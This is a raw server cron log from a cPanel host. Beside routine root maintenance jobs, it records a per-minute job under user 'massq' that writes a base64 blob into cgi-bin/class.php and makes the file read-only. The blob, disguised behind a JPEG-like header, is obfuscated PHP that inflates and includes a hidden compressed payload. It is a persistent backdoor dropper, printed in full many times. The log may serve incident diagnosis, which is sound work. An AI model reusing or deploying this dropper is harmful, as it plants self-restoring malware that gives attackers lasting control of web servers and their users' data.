Sep  5 21:21:01 server CROND[10431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:22:01 server CROND[10795]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:22:01 server CROND[10796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:22:01 server CROND[10797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:23:01 server CROND[11166]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:23:01 server CROND[11167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:23:01 server CROND[11168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:24:01 server CROND[11532]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:24:01 server CROND[11534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:24:01 server CROND[11533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:25:01 server CROND[11977]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 21:25:01 server CROND[11979]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 21:25:01 server CROND[11982]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 21:25:01 server CROND[11981]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:25:01 server CROND[11978]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 21:25:01 server CROND[11980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:25:01 server CROND[11983]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:26:01 server CROND[12878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:26:01 server CROND[12879]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:26:01 server CROND[12880]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:27:01 server CROND[13259]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 21:27:01 server CROND[13261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:27:01 server CROND[13260]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:27:01 server CROND[13262]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:28:01 server CROND[13641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:28:01 server CROND[13642]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:28:01 server CROND[13643]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:29:01 server CROND[14081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:29:01 server CROND[14080]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:29:01 server CROND[14082]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:30:01 server CROND[14485]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 21:30:01 server CROND[14487]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 21:30:01 server CROND[14498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:30:01 server CROND[14494]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 21:30:01 server CROND[14495]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 21:30:01 server CROND[14497]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:30:01 server CROND[14496]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 21:30:01 server CROND[14501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:31:01 server CROND[15399]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:31:01 server CROND[15400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:31:01 server CROND[15401]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:32:01 server CROND[15833]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:32:01 server CROND[15834]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:32:01 server CROND[15835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:33:01 server CROND[16213]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:33:01 server CROND[16214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:33:01 server CROND[16215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:34:01 server CROND[16581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:34:01 server CROND[16582]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
